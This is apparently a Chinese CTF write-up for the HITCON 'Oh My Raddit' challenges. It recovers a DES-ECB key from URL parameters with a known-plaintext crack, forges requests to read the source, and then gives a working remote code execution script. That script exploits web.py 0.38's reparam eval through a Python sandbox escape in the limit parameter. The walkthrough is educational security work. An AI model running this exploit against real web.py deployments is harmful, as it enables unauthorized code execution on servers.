Oh My Raddit

1

题目提示,flag 为加密使用的密钥,并且 hint 提示密钥为小写的( assert ENCRYPTION_KEY.islower() )。仔细观察首页上每个a标签的链接,都是形如:http://13.115.255.46/?s=一串16进制数 ,而且这串16进制数的长度刚好可以 被16整除 。16进制解码后就是一个8字节字符串,所以为8字节分组加密。

2

点击每个链接后,响应状态码均为 303 ,会跳转到相应的网站,而且不同长度的文章标题,对应的s参数值长度也不一样,这说明文章标题可能加密后成为s参数值的一部分。

关于 DES 密码,可以参阅《图解密码技术》中对其的描述:

3

那么我们可以先找两个有相同子串的标题,将他们对应的链接进行对比(每16个字符一组),找到相同子串对应的密文。如下图,我找到两个标题,都带有 Bypassing W 子串。

4

由于 3882b1034e878984 后面就不一样了,而相同的子串是 Bypassing W ,所以我们倒过来取8字节,其值就是 3882b1034e878984 对应的明文数据,即:assing+W 对应密文 3882b1034e878984 (这里注意空格需要经过url编码变成+号)。那么接下来我们就可以使用 hashcat 对数据进行破解,结果如下:(其中 617373696e672b57assing+W 的16进制值)

5

我们使用爆破出来的 ldgonaro 作为解密密钥,对上面的 URL 进行解密,会发现当 URL 长度不是 8 的倍数时,需要在尾部填充数据,使其变成8的倍数。如果刚好是8的倍数,则在尾部 padding 8个 \x08

6

根据这个规则,我们尝试构造链接,下载 app.py 文件。

1
2
3
4
5
6
7
from Crypto.Cipher import DES
key = 'ldgonaro'
cipher = DES.new(key,DES.MODE_ECB)
s1 = 'm=d&f=app.py\x04\x04\x04\x04'
print(cipher.encrypt(s1).encode('hex'))

# 运行结果:e2272b36277c708bc21066647bc214b8

然后我们访问:http://13.115.255.46/?s=e2272b36277c708bc21066647bc214b8 就可以下载 app.py 文件。可以在代码中看到真正使用的加密密钥为:megnnaro ,所以flag为:hitcon{megnnaro}

1
2
3
4
5
6
7
8
9
10
11
# app.py
# coding: UTF-8
import os
import web
import urllib
import urlparse
from Crypto.Cipher import DES

web.config.debug = False
ENCRPYTION_KEY = 'megnnaro'
..........

Oh My Raddit v2

根据题目提示:Give me SHELL!!! ,应该是考察代码执行。由上一题得到的 app.py 文件,我们得知程序使用了 web.py 框架,直接google搜索相关漏洞。

7

在文章: Remote Code Execution in Web.py framework 中,我们可以发现 web.py 框架存在代码执行漏洞。那么我们可以先读取一下题目的 requirements.txt 文件,查看 web.py 的版本。 requirements.txt 内容如下:

1
2
pycrypto==2.6.1
web.py==0.38

我们可以先安装 0.38 版本的 web.py ,找到 reparam 方法的代码,发现这个版本只是禁用了内建方法,我们只需要绕过即可执行代码,绕过方法和平常做的python沙箱绕过差不多。 reparam 方法代码如下:

8

根据漏洞作者的描述,_where()query()gen_clause() 这三个方法均调用了 reparam 方法。通过观察 app.py 程序和 db.py 程序,我们会发现 db.py 程序中的 select 调用了 gen_clause() 方法。 app.py 程序中调用过程如下:

1
get_posts() =====> db.select() =====> db.gen_clause() =====> reparam()

我们继续观察 app.py 程序,发现有如下两处可以利用,但是进一步分析会发现,只有第二处可以利用。

10

我们先来分析上图第一处疑似可利用点。该处的 uid 是通过用户传递的 u 参数来确定的,并且最后会用在 where 关键词的后面,我们跟进到 db.py 程序中:

11

继续跟进 reparam 方法,可以看到用户控制的字段最终会传入 dictionary ,然后作为 eval 函数的 global 属性的值,所以最终不会被执行。( eval(expression, globals=None, locals=None)

12

我们再来看第二处可利用点。这处可控的是 limit 字段,最终会传到 chunk 中作为 eval 的第一个参数执行,最终导致代码执行。整个传递过程如下:

13

根据上面的分析,写出如下 python 程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
from Crypto.Cipher import DES
def encrypt(s):
key = 'ldgonaro'
cipher = DES.new(key,DES.MODE_ECB)
length = DES.block_size - (len(s) % DES.block_size)
s = s + chr(length)*length
return cipher.encrypt(s).encode('hex')

s1 = "m=p&l=${[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('/read_flag > /tmp/flag')}"
s2 = 'm=d&f=/tmp/flag'
url = "http://13.115.255.46/?s="
r1 = requests.get(url = url + encrypt(s1))
r2 = requests.get(url = url + encrypt(s2))

获得flag: hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}

参考

https://ctftime.org/writeup/11897

https://xz.aliyun.com/t/2953#toc-11

https://xz.aliyun.com/t/2961#toc-1